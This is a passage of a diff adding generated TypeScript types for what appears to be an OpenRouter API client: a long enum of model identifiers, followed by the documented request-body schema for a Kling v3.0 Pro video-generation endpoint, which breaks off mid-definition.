'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosKwaivgiKlingV30ProRequestModelEnumKey = + (typeof openrouterPostVideosKwaivgiKlingV30ProRequestModelEnum)[keyof typeof openrouterPostVideosKwaivgiKlingV30ProRequestModelEnum] + +export const openrouterPostVideosKwaivgiKlingV30ProRequestSizeEnum = { + '1280x720': '1280x720', + '720x1280': '720x1280', + '720x720': '720x720', +} as const + +export type OpenrouterPostVideosKwaivgiKlingV30ProRequestSizeEnumKey = + (typeof openrouterPostVideosKwaivgiKlingV30ProRequestSizeEnum)[keyof typeof openrouterPostVideosKwaivgiKlingV30ProRequestSizeEnum] + +/** + * @description Kling: Video v3.0 Pro (kwaivgi/kling-v3.0-pro) — model-constrained video generation request. Kling v3.0 Pro is Kuaishou's premium video generation model, offering higher visual quality than the Standard tier. It supports text-to-video and image-to-video workflows, with first-frame and last-frame control for precise... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosKwaivgiKlingV30ProBody = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosKwaivgiKlingV30ProRequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosKwaivgiKlingV30ProRequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame, last_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Whether to generate audio alongside the video. Defaults to the endpoint's generate_audio capability flag, false if not set. + * @example true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosKwaivgiKlingV30ProRequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration Passthrough parameters allowed for this model: negative_prompt, cfg_scale. + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: '720p' + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: OpenrouterPostVideosKwaivgiKlingV30ProRequestSizeEnumKey + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + 